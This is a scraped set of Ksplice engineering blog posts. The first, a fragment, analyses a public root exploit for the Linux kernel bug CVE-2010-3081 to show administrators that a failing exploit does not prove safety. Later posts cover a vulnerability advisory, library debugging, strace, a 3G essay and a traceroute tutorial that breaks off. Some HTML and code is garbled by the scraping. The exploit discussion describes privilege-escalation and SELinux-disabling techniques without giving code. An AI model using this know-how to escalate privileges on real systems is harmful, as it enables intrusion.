This means setting the process's user ID to 0, <code>root</code>, so that everything else it does is with root privileges. A process's user ID is stored in different places in different kernel versions -- the system became more complicated in 2.6.29, and again in 2.6.30 -- so the exploit needs to have flexibility again. This one checks the version with <code><a href="">uname</a></code> and assembles the payload accordingly.</p> <p> This exploit can also clear a couple of flags to turn off <a href="">SELinux</a>, with code it optionally includes in the payload -- more flexibility. Then it lets the kernel return to userspace, and starts a root shell.</p> <p> In a real attack, that root shell might be used to replace key system binaries, steal data, start a botnet daemon, or install backdoors on disk to cement the attacker's control and hide their presence.</p> <p> </p> <h3>Flexibility, or, You Can't Trust a Failing Exploit</h3> All the points of flexibility in this exploit illustrate a key lesson: you can't determine you're vulnerable just because an exploit fails. For example, on a Fedora 13 system, this exploit errors out with a message like this: <pre> $ ./ABftw Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y $$$ Kallsyms +r $$$ K3rn3l r3l3as3: 2.6.34.6-54.fc13.i686 [...] !!! Err0r 1n s3tt1ng cr3d sh3llc0d3z </pre> Sometimes a system administrator sees an exploit fail like that and concludes they're safe. "Oh, Red Hat / Debian / my vendor says I'm vulnerable", they may say. "But the exploit doesn't work, so they're just making stuff up, right?" <p> Unfortunately, this can be a fatal mistake. In fact, the machine above <em>is</em> vulnerable. The error message only comes about because the exploit can't find the symbol <code>per_cpu__current_task</code>, whose value it needs in the payload; it's the address at which to find the kernel's main per-process data structure, the <code>task_struct</code>. But a skilled attacker can find the <code>task_struct</code> without that symbol, by following pointers from other known data structures in the kernel.</p> <p> In general, there is almost infinitely much work an exploit writer could put in to make the exploit function on more and more kernels. Use a wider repertoire of targets; find missing symbols by following pointers or by pattern-matching in the kernel; find missing symbols by brute force, with a table prepared in advance; disable SELinux, as this exploit does, or <a href="">grsecurity</a>; or add special code to navigate the data structures of unusual kernels like <a href="">OpenVZ</a>. If the bug is there in a kernel but the exploit breaks, it's only a matter of work or more work to extend the exploit to function there too.</p> <p> That's why the only way to know that a given kernel is not affected by a vulnerability is a careful examination of the bug against the kernel's source code and configuration, and never to rely on a failing exploit -- and even that examination can sometimes be mistakenly optimistic. In practice, for a busy system administrator this means that when the vendor recommends you update, the only safe choice is to update.</p> <p> ~<a href="">price</a></p> CVE-2010-3081 Ksplice Post Importer 2010-09-17T23:00:00+00:00 2012-07-24T17:44:13+00:00 Hi. I'm the original developer of Ksplice and the CEO of the company. Today is one of those days that reminds me why I created Ksplice. <p> I'm writing this blog post to provide some information and assistance to anyone affected by the recent Linux kernel vulnerability <a href="">CVE-2010-3081</a>, which unfortunately is just about everyone running 64-bit Linux. To make matters worse, in the last day we've received many reports of people attacking production systems using <a href="">an exploit for this vulnerability</a>, so if you run Linux systems, we recommend that you strongly consider patching this vulnerability. (Linux vendors release important security updates every month, but this vulnerability is particularly high profile and people are using it aggressively to exploit systems).</p> <p>.</p> <p>.</p> <p> Although it might seem self-serving, I do know of one sure way to fix this vulnerability right away on running production systems, and it doesn't even require you to reboot: you can (for free) <a href="">download Ksplice Uptrack and fully update any of the distributions that we support</a> .</p> <a href="">test tool</a>.</p> <p> ~jbarnold</p> Debugging shared library problems: a real-world example Ksplice Post Importer 2010-09-08T23:00:00+00:00 2012-08-03T14:19:38+00:00 " href="" /> There are few things I am less happy to see when trying to get some work done than something like:<br /> <pre>$ python >>> import pycurl Fatal Python error: pycurl: libcurl link-time version is older than compile-time version Aborted</pre> "<a href="">link-time</a>" + "<a href="">compile-time</a>" + one library using another and something is broken = some kind of <a href="">shared library</a> problem.<br /> <table> <tbody> <tr> <td style="line-height: 250%; "><font size="+3">Debugging shared library problems</font></td> <td><font size="+4">=</font></td> <td><img src="" alt="sad jesstess" title="sad jesstess" width="300" height="113" class="aligncenter size-medium wp-image-2099" /></td> </tr> </tbody> </table> <p> Nooooo I just wanted to write some code.<sup><a href="#ft1" name="ftlink1">*</a></sup></p> <p><sup><a href="#ft1" name="ftlink1"></a></sup> But I don't have anyone to pawn this off on, and this isn't magic, it's just annoying, so how about trying to fix it.<br /> </p> <h3>Step 1: find out where the <em>offended</em> shared library lives</h3> <p> The error message says that <code>pycurl</code> is having some issue with <code>libcurl</code>. So let's find out where the pycurl shared library lives. First, get the actual package name for the pycurl software you're using. Then, get a list of all the files in that package and look for the location of the pycurl shared library:</p> <p> <strong>rpm-based</strong><br /> </p> <pre>$ rpm -qa | grep pycurl python-pycurl-7.15.5.1-4.1.el4</pre> <pre>$ rpm -ql python-pycurl-7.15.5.1-4.1.el4 | grep pycurl.so /usr/lib/python2.5/site-packages/pycurl.so</pre> <strong>dpkg-based</strong><br /> <pre>$ apt-cache search pycurl python-pycurl - Python bindings to libcurl</pre> <pre>$ dpkg -L python-pycurl | grep pycurl.so /usr/lib/python2.5/site-packages/pycurl.so</pre> I did just assume that the pycurl shared library would be called something like "<code>pycurl.so</code>”, which is not so unreasonable. To take the guesswork out of getting the name of the shared library, we could have taken advantage of python's <code>-v</code> flag. It says to, on module initialization, print the place from which the module is loaded:<br /> <pre>$ python -v … >>> import pycurl dlopen("/usr/lib/python2.5/site-packages/pycurl.so", 2); Fatal Python error: pycurl: libcurl link-time version is older than compile-time version Aborted </pre> Either way, we have a <code>pycurl.so</code> in <code>/usr/lib/python2.5/site-packages/</code>.<br /> <h3>Step 2: find the <em>offended</em> shared library's dependencies</h3> <a href=""><code>ldd</code></a> is a super-nifty tool whose job is to print out the shared library dependencies for a program or shared library, which is exactly what we want: <pre>$ ldd /usr/lib/python2.5/site-packages/pycurl.so <font color="blue">libcurl.so.3 => /lib/libcurl.so.3 (0x0000002a95693000)</font> libdl.so.2 => /lib/libdl.so.2 (0x0000002a957c7000) libgssapi_krb5.so.2 => /lib/libgssapi_krb5.so.2 (0x0000002a958ca000) libkrb5.so.3 => /lib/libkrb5.so.3 (0x0000002a959e0000) libk5crypto.so.3 => /lib/libk5crypto.so.3 (0x0000002a95b52000) libcom_err.so.2 => /lib/libcom_err.so.2 (0x0000002a95c75000) libresolv.so.2 => /lib/libresolv.so.2 (0x0000002a95d77000) libidn.so.11 => /lib/libidn.so.11 (0x0000002a95e8d000) libssl.so.4 => /lib/libssl.so.4 (0x0000002a95fbe000) libcrypto.so.4 => /lib/libcrypto.so.4 (0x0000002a960fa000) libz.so.1 => /lib/libz.so.1 (0x0000002a9632c000) libpthread.so.0 => /lib/tls/libpthread.so.0 (0x0000002a9643f000) libc.so.6 => /lib/tls/libc.so.6 (0x0000002a96554000) /lib/ld-linux-x86-64.so.2 (0x000000552aaaa000)</pre> So <code>pycurl.so</code> uses a libcurl shared library called <code>libcurl.so.3</code>, which lives in <code>/lib</code>.<br /> <h3>Step 3: find out where the <em>offending</em> shared library <em>should</em> live</h3> <p> First, get the name of the package that installs <code>libcurl.so.3</code>. Then, see where the <code>libcurl.so.3</code> from that package lives:</p> <p> <strong>rpm-based</strong><br /> </p> <pre>$ rpm -qa | grep curl ... curl-7.15.5-2.1.el5_3.5 ...</pre> <pre>$ rpm -ql curl-7.15.5-2.1.el5_3.5 | grep libcurl.so.3 /usr/lib/libcurl.so.3</pre> <strong>dpkg-based</strong><br /> <pre>$ apt-cache search curl ... libcurl3 - Multi-protocol file transfer library (OpenSSL) ...</pre> <pre>$ dpkg -L libcurl3 | grep libcurl.so.3 /usr/lib/libcurl.so.3</pre> <p> Well there's at least one problem: <code>curl</code>/<code>libcurl3</code> puts <code>libcurl.so.3</code> in <code>/usr/lib</code>, but <code>pycurl.so</code> is using a version in <code>/lib</code>. Sure enough, an <code>ls</code> in <code>/usr/lib</code> reveals a second <code>libcurl.so.3</code>.</p> <p> Okay, so there are two versions. Why is the bad version the one getting used?<br /> </p> <h3>Step 4: Check the order in which directories are searched for shared libraries</h3> If we read the <a href="">man page for ld.so</a>, the thing that does the actual loading of shared libraries, we see:<br /> <blockquote style="background-color: #fff5f5; "> The necessary shared libraries needed by the program are searched for in the following order <ul> <li> Using the environment variable <code>LD_LIBRARY_PATH</code> (<code>LD_AOUT_LIBRARY_PATH</code> for <code>a.out</code> programs). Except if the executable is a setuid/setgid binary, in which case it is ignored.</li> <li>From the cache file <code>/etc/ld.so.cache</code> which contains a compiled list of candidate libraries previously found in the augmented library path.</li> <li>In the default path <code>/lib</code>, and then <code>/usr/lib</code>.</li> </ul> </blockquote> <p> Alright, let's check these:</p> <p> <strong>1. Check <code>LD_LIBRARY_PATH</code></strong>: </p> <pre>$ echo $LD_LIBRARY_PATH $ </pre> <p> So <code>LD_LIBRARY_PATH</code> is unset or empty. Moving on:</p> <p> <strong>2. Check <code>/etc/ld.so.cache</code></strong>:</p> <p> <a href="">ldconfig</a> will do the work of parsing <code>ld.so.cache</code> and printing the paths in order for us: </p> <pre>$ /sbin/ldconfig --print-cache | grep libcurl.so.3 libcurl.so.3 (libc6) => /lib/libcurl.so.3 libcurl.so.3 (libc6) => /usr/lib/libcurl.so.3</pre> Bam. <code>/lib/libcurl.so.3</code> comes before <code>/usr/lib/libcurl.so.3</code> (because at some point these entries weren't in the cache, and as we see in the man page, when <code>ld.so</code> is down to default paths, <code>/lib</code> gets checked before <code>/usr/lib</code>).<br /> <h3>Step 5: Fix the problem</h3> <p> Now, we don't want to accidentally break some other programs that expect the version of <code>libcurl.so.3</code> in <code>/lib</code>, so we should check what package, if any, that file is in:</p> <p> <strong>rpm-based</strong><br /> </p> <pre>$ rpm -q -f /lib/libcurl.so.3 file /lib/libcurl.so.3 is not owned by any package</pre> <strong>dpkg-based</strong><br /> <pre>$ dpkg -S /lib/libcurl.so.3 file /lib/libcurl.so.3 is not owned by any package</pre> Revealing that <code>/lib/libcurl.so.3</code> is an orphan we can pretty safely delete. Once it's been deleted, <code>pycurl.so</code> finds the correct <code>libcurl.so.3</code> in <code>/usr/lib</code>, and our original python import works:<br /> <pre>$ python >>> import pycurl >>></pre> Yay. Back to work.<br /> <div style="margin-top: 0.5em; "> <p><font size="2"><sup><a href="#ftlink1" name="ft1">*</a></sup> </font>Image courtesy of Allie Brosh over at <a href="">Hyperbole and a Half</a>. </p> </div> ~<a href="">jesstess </a> Ksplice for Fedora! Ksplice Post Importer 2010-08-31T02:00:00+00:00 2012-08-03T01:29:52+00:00 <p>In response to many requests, Ksplice is proud to announce we're now providing Uptrack <a href="">free of charge for Fedora!</a> <br /> <br />Fedora will join Ubuntu Desktop among our free platforms, and will give Fedora users rebootless updates as long as Fedora maintains each major kernel release. <br /> <br />However, of note: Fedora is the only Linux distribution that migrates to a new Linux kernel version family (e.g. 2.6.33 to 2.6.34) during the lifetime of the product. This kernel version family migration is such a major version change that Ksplice recommends a reboot for this version change. These migrations occur roughly twice per year and only in Fedora; all of the other important Fedora kernel updates can be applied rebootlessly, as can the kernel updates for the rest of our supported Linux distributions. <br /> <br />We've also submitted the Uptrack client for integration into a later version of Fedora and are working with the Fedora folks to help make rebootless updates part of the distribution itself. Thanks for all your feedback about Uptrack and keep it coming! <br /> <br />Best, <br />the Ksplice Team </p> Essay: 3G and me Ksplice Post Importer 2010-08-20T02:00:00+00:00 2012-08-03T14:33:52+00:00 <p>In 2002, I got my first cell phone. </p> <p>June was stuffy in Manhattan, and my summer internship copy-editing the <i>New York Sun</i>, the now-defunct right-wing newspaper, was just about to start. I swam through the humid air past Madison Square Park to get to the store before closing. </p> <p>"You want this one," said the salesman at the RadioShack, pointing to a sleek model then on sale. "It's a 3G phone. It'll work with Sprint's new 3G network they're rolling out later this summer." </p> <p>"Ok," I said. Sure enough, it had 3G: </p> <p align="center"><a href=""><img width="138" class="size-full wp-image-1870" title="myfirstcellphone" src="" alt="Sanyo SCP-6200. QUALCOMM 3G CDMA" /></a><br />Fig. 1: Sprint's Sanyo 3G phone, circa mid-2002. An orange of more recent vintage looks on.</p> <p> </p> <p>A few months later -- after all the <i>Sun</i>'s editorials casting doubt on whether lead paint can really poison you had been edited and sent off to our eight readers, and I was back at school -- Sprint did roll out their 3G network: </p> <blockquote).</blockquote> <p>I called Sprint and tried to subscribe. "Sir, you need a 3G phone to sign up," they told me. </p> <p>"I have one!" I said proudly. "It says 3G CDMA right on the back!" </p> <p>." </p> <p>"No, thanks," I said, thinking that 3G was pretty much a crock, while wryly appreciating RadioShack's ability to make you feel cheated even on a $30 cellphone. </p> <p>Sure enough, when my phone died and had to be replaced, I saw the new one only said "QUALCOMM CDMA" -- no more "3G". It had been revised downward. </p> <p>Meanwhile, Sprint's competitors were busy deploying their own nationwide 3G networks. Cingular, then a joint venture of SBC and BellSouth, trumpeted each step in the process: </p> <p>June 2003: </p> <blockquote. <p>Building on more than a decade of wireless data experience, Cingular's EDGE technology enables <i>true "third generation" (3G)</i> wireless data services with data speeds typically three times faster than those available on GSM/GPRS networks.</p> </blockquote> <br />Or October 2003: <blockquote>Cingular began offering its 3G service EDGE (Enhanced Datarate for Global Evolution) in Indianapolis in July, becoming the first commercial wireless company in the world to offer the service.</blockquote> <br />Or June 2004: <blockquote>This year, further enhancements have been made to the network with the launch of EDGE in Connecticut, a high-speed wireless data service which gives customers <i>true "third generation" (3G)</i> wireless data services with data speeds typically three times faster than what was available on GPRS.</blockquote> <p>Those of you who care about these things will probably be jumping up and down right now, and/or closing the browser window. "EDGE isn't 3G!" you are saying. "It's <a href="">2.9G at best</a>! And neither is 1xRTT, which is all the Sanyo SCP-6200 had. That's barely 2.5G! Maybe 2.75G on a clear day." </p> <p>These people, who while enthusiastic sometimes seem to have been born yesterday, would point to the kerfuffle when Apple released the original iPhone in 2007 for Cingular and only supported EDGE. As the Wall Street Journal wrote: </p> <blockquote. <p. </p> <p.</p> </blockquote>: <blockquote>'.'' <p>AT&T has invested $16 billion in its network over the last two years, and the network is now designed to handle the expected increase in wireless data users, he said, adding: ''Capacity won't be an issue. The network is ready.''</p> </blockquote> Ok, what are some quick takeaways here? <ul> <li>What Sprint sold as "3G" in 2002 (1xRTT voice), it rescinded later that year and relabeled the phones.</li> <li>What counted as "3G" for Sprint in 2003 (1xRTT data), isn't any more either.</li> <li>What in 2004 constituted "true 'third generation' (3G)" to Cingular/AT&T, the company had retroactively downgraded to 2G or 2.5G or 2.9G by 2007.</li> <li>From an engineer's perspective, the 3G interfaces, if you read <a href="">a book on telecom engineering</a>,.</li> <li.</li> <li>The same song-and-dance is likely to play out over "4G" -- a term that engineers tentatively apply to a <a href="">forthcoming ITU standard called IMT-Advanced</a>,.</li> </ul> <p>But the point I really want to make is: <b>this is all a red herring.</b> Focusing on the protocol between your cell phone and the tower -- or worse, spending money on that basis -- is letting yourself be distracted. It's like the secret pick-me-up in Geritol, concocted by Madison Avenue instead of a chemist. </p> <p. </p> <p>Consider, for example, the performance I get from a Verizon "3G" USB modem: <code>3060 packets transmitted, 3007 received, 1% packet loss, time 3061925ms rtt min/avg/max/mdev = 121.554/404.199/22307.520/1213.055 ms, pipe 23 </code> </p> <p>Pretty sad! But hey, it's 3G. In truth, a lot of boring factors control the performance of your cell phone data transmissions, principally: </p> <ol> <li>How much spectrum has the carrier licensed in my city, and how much is allocated to this kind of modulation?</li> <li>How many other people am I sharing the local tower with? In other words, how big is my cell, and how many towers has the carrier built or contracted with?</li> <li>How much throughput are my cellmates trying to consume?</li> <li>How much throughput has the carrier built in its back-end network connecting to the tower?</li> </ol> <p. </p> <p. <b>What we really ought to care about</b> is the same as with any Internet service provider -- the throughput and latency and reliability you get to the endpoints you want to reach. That's what matters, not the sophistication of one piece of the puzzle. </p> <p. </p> <p>Some have proposed even more freely enterprising business models -- like <a href="">having your phone get minute-to-minute bids</a> from the local towers on who will carry your traffic for what price, and <a href="">accept the lowest bidder who offers acceptable performance</a>. </p> <p. </p> <p>~<a href="">keithw</a></p> Strace -- The Sysadmin's Microscope Ksplice Post Importer 2010-08-06T02:00:00+00:00 2012-08-03T14:43:35+00:00 <link rel="stylesheet" type="text/css" href="" /> <p>Sometimes as a sysadmin the logfiles just don't cut it, and to solve a problem you need to know what's <i>really</i> going on. That's when I turn to <code>strace</code> -- the system-call tracer.</p> <p> A <i>system call</i>, or syscall, is where a program crosses the boundary between user code and the kernel. Fortunately for us using <code>strace</code>, that boundary is where almost everything interesting happens in a typical program.</p> <p> The two basic jobs of a modern operating system are <i>abstraction</i> and <i>multiplexing</i>. Abstraction means, for example, that when your program wants to read and write to disk it doesn't need to speak the <a href="">SATA</a> protocol, or <a href="">SCSI</a>, or <a href="">IDE</a>, or <a href="">USB Mass Storage</a>, or <a href="">NFS</a>..</p> <p> So for almost everything a program wants to do, it needs to talk to the kernel. Want to read or write a file? Make the <code><a href="">open()</a></code> syscall, and then the syscalls <code><a href="">read()</a></code> or <code><a href="">write()</a></code>. Talk on the network? You need the syscalls <code><a href="">socket()</a></code>, <code><a href="">connect()</a></code>, and again <code><a href="">read()</a></code> and <code><a href="">write()</a></code>. Make more processes? First <code><a href="">clone()</a></code> (inside the standard C library function <code><a href="">fork()</a></code>), then you probably want <code><a href="">execve()</a></code> so the new process runs its own program, and you probably want to interact with that process somehow, with one of <code><a href="">wait4()</a></code>, <code><a href="">kill()</a></code>, <code><a href="">pipe()</a></code>, and a host of others. Even looking at the clock requires a system call, <code><a href="">clock_gettime()</a></code>. Every one of those system calls will show up when we apply <code>strace</code> to the program.</p> <p> <code>strace</code> picks them up again.</p> <p> Let's look at a quick example of how <code>strace</code> solves problems.</p> <p><b> Use #1: Understand A Complex Program's Actual Behavior</b><br /> One day, I wanted to know which <a href="">Git</a> commands take out a certain lock -- I had a script running a series of different Git commands, and it was failing sometimes when run concurrently because two commands tried to hold the lock at the same time.</p> <p> Now, <a href="">I love sourcediving</a>, and I've done some Git hacking, so I spent some time with the source tree investigating this question. But this code is complex enough that I was still left with some uncertainty. So I decided to get a plain, ground-truth answer to the question: if I run "<code>git diff</code>", will it grab this lock?</p> <p> Strace to the rescue. The lock is on a file called <code>index.lock</code>. Anything trying to touch the file will show up in strace. So we can just trace a command the whole way through and use <a href="">grep</a> to see if <code>index.lock</code> is mentioned:</p> <pre>$ strace git status 2>&1 >/dev/null | grep index.lock open(".git/index.lock", O_RDWR|O_CREAT|O_EXCL, 0666) = 3 rename(".git/index.lock", ".git/index") = 0 $ strace git diff 2>&1 >/dev/null | grep index.lock $</pre> <p> So <code>git status</code> takes the lock, and <code>git diff</code> doesn't.</p> <p><b> Interlude: The Toolbox</b><br /> To help make it useful for so many purposes, <code>strace</code> takes a variety of options to add or cut out different kinds of detail and help you see exactly what's going on.</p> <p><b> In Medias Res, If You Want</b><br /> Sometimes we don't have the luxury of starting a program over to run it under <code>strace</code> -- it's running, it's misbehaving, and we need to find out what's going on. Fortunately <code>strace</code> handles this case with ease. Instead of specifying a command line for <code>strace</code> to execute and trace, just pass <code><b>-p PID</b></code> where <code>PID</code> is the process ID of the process in question -- I find <code><a href="">pstree</a> -p</code> invaluable for identifying this -- and <code>strace</code> will attach to that program, while it's running, and start telling you all about it.</p> <p><b> Times</b><br /> When I use <code>strace</code>, I almost always pass the <code><b>-tt</b></code> option. This tells me when each syscall happened -- <code><b>-t</b></code> prints it to the second, <code>-tt</code> to the microsecond. For system administration problems, this often helps a lot in correlating the trace with other logs, or in seeing where a program is spending too much time.</p> <p> For performance issues, the <code><b>-T</b></code> option comes in handy too -- it tells me how long each individual syscall took from start to finish.</p> <p><b> Data</b><br /> By default <code>strace</code> already prints the strings that the program passes to and from the system -- filenames, data read and written, and so on. To keep the output readable, it cuts off the strings at 32 characters. You can see more with the <code><b>-s</b></code> option -- <code><b>-s 1024</b></code> makes <code>strace</code> print up to 1024 characters for each string -- or cut out the strings entirely with <code><b>-s 0</b></code>.</p> <p> Sometimes you want to see the full data flowing in just a few directions, without cluttering your trace with other flows of data. Here the options <code><b>-e read=</b></code> and <code><b>-e write=</b></code> come in handy.</p> <p> For example, say you have a program talking to a database server, and you want to see the SQL queries, but not the voluminous data that comes back. The queries and responses go via <code>write()</code> and <code>read()</code> syscalls on a network socket to the database. First, take a preliminary look at the trace to see those syscalls in action:</p> <pre>$ [...]</pre> <p> Those <code>write()</code> syscalls are the SQL queries -- we can make out the <code>SELECT foo FROM bar</code>, and then it trails off. To see the rest, note the file descriptor the syscalls are happening on -- the first argument of <code>read()</code> or <code>write()</code>, which is 3 here. Pass that file descriptor to <code>-e write=</code>:</p> <pre>$ | </pre> <p> and we see the whole query. It's both printed and in hex, in case it's binary. We could also get the whole thing with an option like <code>-s 1024</code>, but then we'd see all the data coming back via <code>read()</code> -- the use of <code>-e write=</code> lets us pick and choose.</p> <p><b> Filtering the Output</b><br /> Sometimes the full syscall trace is too much -- you just want to see what files the program touches, or when it reads and writes data, or some other subset. For this the <code><b>-e trace=</b></code> option was made. You can select a named suite of system calls like <code><b>-e trace=file</b></code> (for syscalls that mention filenames) or <code><b>-e trace=desc</b></code> (for <code>read()</code> and <code>write()</code> and friends, which mention file descriptors), or name individual system calls by hand. We'll use this option in the next example.</p> <p><b> Child Processes</b><br /> Sometimes the process you trace doesn't do the real work itself, but delegates it to child processes that it creates. Shell scripts and <a href="">Make</a> runs are notorious for taking this behavior to the extreme. If that's the case, you may want to pass <code><b>-f</b></code> to make <code>strace</code> "follow forks" and trace child processes, too, as soon as they're made.</p> <p> For example, here's a trace of a simple shell script, without <code>-f</code>:</p> <pre>$)</pre> <p> Not much to see here -- all the real work was done inside process 11948, the one created by that <code>clone()</code> syscall.</p> <p> Here's the same script traced with <code>-f</code> (and the trace edited for brevity):</p> <pre>$) ---</pre> <p> Now this trace could be a miniature education in Unix in itself -- future blog post? The key thing is that you can see <code>ls</code> do its work, with that <code>open()</code> call followed by <code>getdents()</code>.</p> <p> The output gets cluttered quickly when multiple processes are traced at once, so sometimes you want <code><b>-ff</b></code>, which makes <code>strace</code> write each process's trace into a separate file.</p> <p><b> Use #2: Why/Where Is A Program Stuck?</b><br /> Sometimes a program doesn't seem to be doing anything. Most often, that means it's blocked in some system call. Strace to the rescue.</p> <pre>$ strace -p 22067 Process 22067 attached - interrupt to quit flock(3, LOCK_EX</pre> <p> Here it's blocked trying to take out a lock, an exclusive lock (<code>LOCK_EX</code>) on the file it's opened as file descriptor 3. What file is that?</p> <pre>$ readlink /proc/22067/fd/3 /tmp/foobar.lock</pre> <p> Aha, it's the file <code>/tmp/foobar.lock</code>. And what process is holding that lock?</p> <pre>$ lsof | grep /tmp/foobar.lock command 21856 price 3uW REG 253,88 0 34443743 /tmp/foobar.lock command 22067 price 3u REG 253,88 0 34443743 /tmp/foobar.lock</pre> <p> Process 21856 is holding the lock. Now we can go figure out why 21856 has been holding the lock for so long, whether 21856 and 22067 really need to grab the same lock, etc.</p> <p> Other common ways the program might be stuck, and how you can learn more after discovering them with <code>strace</code>:</p> <ul> <li><b>Waiting on the network.</b> Use <a href="">lsof</a> again to see the remote hostname and port.</li> <li><b>Trying to read a directory.</b>.</li> <li><b>Not making syscalls at all.</b> This means it's doing some pure computation, perhaps a bunch of math. You're outside of <code>strace</code>'s domain; good luck.</li> </ul> <p><b> Uses #3, #4, ...</b><br /> A post of this length can only scratch the surface of what <code>strace</code> can do in a sysadmin's toolbox. Some of my other favorites include</p> <ul> <li><b>As a progress bar.</b> When a program's in the middle of a long task and you want to estimate if it'll be another three hours or three days, <code>strace</code> can tell you what it's doing right now -- and a little cleverness can often tell you how far that places it in the overall task.</li> <li><b>Measuring latency.</b> There's no better way to tell how long your application takes to talk to that remote server than watching it actually <code>read()</code> from the server, with <code>strace -T</code> as your stopwatch.</li> <li><b>Identifying hot spots.</b> Profilers are great, but they don't always reflect the structure of your program. And have you ever tried to profile a shell script? Sometimes the best data comes from sending a <code>strace -tt</code> run to a file, and picking through to see when each phase of your program started and finished.</li> <li><b>As a teaching and learning tool.</b> The user/kernel boundary is where almost everything interesting happens in your system. So if you want to know more about how your system really works -- how about curling up with a set of man pages and some output from <code>strace</code>?</li> </ul> <p> ~<a href="">price</a></p> Choose Your Own Sysadmin Adventure Ksplice Post Importer 2010-07-30T02:00:00+00:00 2012-08-03T14:22:04+00:00 <p>Today is <a href="">System Administrator Appreciation Day</a>, and being system administrators ourselves, we here at Ksplice decided to have a little fun with this holiday. </p> <p>We've taken a break, drank way too much coffee, and created a very special Choose Your Own Adventure for all the system administrators out there. </p> <p><font size="4"><a href="">Click here to begin the adventure.</a></font> </p> <p>Feedback and comments welcome. Above all: <strong>Happy System Administrator Appreciation Day.</strong> Share the love with your friends, colleagues, and especially any sysadmins you might know. </p> <p>~<a href="">ternus</a></p> Learning by doing: Writing your own traceroute in 8 easy steps Ksplice Post Importer 2010-07-29T02:00:00+00:00 2012-08-03T14:46:45+00:00 <link href="" type="text/css" rel="stylesheet" /> <p>Anyone who administers even a moderately sized network knows that when problems arise, diagnosing and fixing them can be extremely difficult. They're usually non-deterministic and difficult to reproduce, and very similar symptoms (e.g. a slow or unreliable connection) can be caused by any number of problems — congestion, a broken router, a bad physical link, etc. </p> <p>One very useful weapon in a system administrator's arsenal for dealing with network issues is <code>traceroute</code> (or <code>tracert</code>, if you use Windows). This is a neat little program that will print out the path that packets take to get from the local machine to a destination — that is, the sequence of routers that the packets go through. </p> <p>Using <code>traceroute</code> is pretty straightforward. On a UNIX-like system, you can do something like the following: </p> <pre> $ traceroute google.com traceroute to google.com (173.194.33.104), 30 hops max, 60 byte packets 1 router.lan (192.168.1.1) 0.595 ms 1.276 ms 1.519 ms 2 70.162.48.1 (70.162.48.1) 13.669 ms 17.583 ms 18.242 ms 3 ge-2-20-ur01.cambridge.ma.boston.comcast.net (68.87.36.225) 18.710 ms 19.192 ms 19.640 ms 4 be-51-ar01.needham.ma.boston.comcast.net (68.85.162.157) 20.642 ms 21.160 ms 21.571 ms 5 pos-2-4-0-0-cr01.newyork.ny.ibone.comcast.net (68.86.90.61) 28.870 ms 29.788 ms 30.437 ms 6 pos-0-3-0-0-pe01.111eighthave.ny.ibone.comcast.net (68.86.86.190) 30.911 ms 17.377 ms 15.442 ms 7 as15169-3.111eighthave.ny.ibone.comcast.net (75.149.230.194) 40.081 ms 41.018 ms 39.229 ms 8 72.14.238.232 (72.14.238.232) 20.139 ms 21.629 ms 20.965 ms 9 216.239.48.24 (216.239.48.24) 25.771 ms 26.196 ms 26.633 ms 10 173.194.33.104 (173.194.33.104) 23.856 ms 24.820 ms 27.722 ms</pre> <p>Pretty nifty. But how does it work? After all, when a packet leaves your network, you can't monitor it anymore. So when it hits all those routers, the only way you can know about that is if one of them tells you about it. </p> <p>The secret behind <code>traceroute</code> is a field called "Time To Live" (TTL) that is contained in the headers of the packets sent via the Internet Protocol. When a host receives a packet, it checks if the packet's TTL is greater than <code>1</code> before sending it on down the chain. If it is, it decrements the field. Otherwise, it drops the packet and sends an <a href="">ICMP</a> <code>TIME_EXCEEDED</code> packet to the sender. This packet, like all IP packets, contains the address of its sender, i.e. the intermediate host. </p> <p><code>traceroute</code> works by sending consecutive requests to the same destination with increasing TTL fields. Most of these attempts result in messages from intermediate hosts saying that the packet was dropped. The IP addresses of these intermediate hosts are then printed on the screen (generally with an attempt made at determining the hostname) as they arrive, terminating when the maximum number of hosts have been hit (on my machine's <code>traceroute</code> the default maximum is 30, but this is configurable), or when the intended destination has been reached. </p> <p>The rest of this post will walk through implementing a very primitive version of <code>traceroute</code> in Python. The real <code>traceroute</code> is of course more complicated than what we will create, with many configurable features and modes. Still, our version will implement the basic functionality, and at the end, we'll have a really nice and short Python script that will do just fine for performing a simple <code>traceroute</code>. </p> <p>So let's begin. Our algorithm, at a high level, is an infinite loop whose body creates a connection, prints out information about it, and then breaks out of the loop if a certain condition has been reached. So we can start with the following skeletal code: </p> <div class="highlight"> <pre> <span class="k">def</span> <span class="nf">main</span><span class="p">(</span><span class="n">dest<><span class="o"></span><span class="n"></span><span class="o"></span> </pre> <p><strong><span class="o"></span><span class="n">Step</span> <span class="mi">1</span><span class="p">:</span> <span class="n">Turn</span> <span class="n">a</span> <span class="n">hostname</span> <span class="n">into</span> <span class="n">an</span> <span class="n">IP</span> <span class="n">address</span></strong><span class="o"></span><span class="o">.</span> </p> </div> <p>The <code>socket</code> module provides a <code>gethostbyname()</code> method that attempts to resolve a <a href="">domain name</a> into an IP address: </p> <div class="highlight"> <pre><span class="c"> #!/usr/bin/python</span> <span class="o"></span><span class="o"></span><span class="kn">import</span> <span class="nn">socket</span><span class="o"></span> <span class="k">def</span> <span class="nf">main</span><span class="p">(</span><span class="o"></span><span class="o"></span><span class="n">dest_name</span><span class="o"></span><span class="o"></span><span class="p">):</span> <span class="o"></span><span class="o"></span><span class="n">dest_addr</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">gethostbyname</span><span class="p">(</span><span class="n">dest_name<> </pre> </div> <strong>Step 2: Create sockets for the connections.</strong> <p>We'll need two <a href="">sockets</a> for our connections — one for receiving data and one for sending. We have a lot of choices for what kind of probes to send; let's use UDP probes, which require a datagram socket (<code>SOCK_DGRAM</code>). The routers along our traceroute path are going to send back ICMP packets, so for those we need a raw socket (<code>SOCK_RAW<="o"></span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> <span class="o"></span><span class= 3: Set the TTL field on the packets.</strong> <p>We'll simply use a counter which begins at <code>1</code> and which we increment with each iteration of the loop. We set the TTL using the <code>setsockopt</code> module of the socket object: <">ttl</span> <span class="o">+=</span> <span class="mi" 4: Bind the sockets and send some packets.</strong> <p>Now that our sockets are all set up, we can put them to work! We first tell the receiving socket to listen to connections from all hosts on a specific port (most implementations of <code>traceroute</code> use ports from 33434 to 33534 so we will use 33434 as a default). We do this using the <code>bind()</code> method of the receiving socket object, by specifying the port and an empty string for the hostname. We can then use the <code>sendto()</code> method of the sending socket object to send to the destination host (on the same port). The first argument of the <code>sendto()</code> method is the data to send; in our case, we don't actually have anything specific we want to send, so we can just give the empty string: <="o"></span><span class= 5: Get the intermediate hosts' IP addresses.</strong> <p>Next, we need to 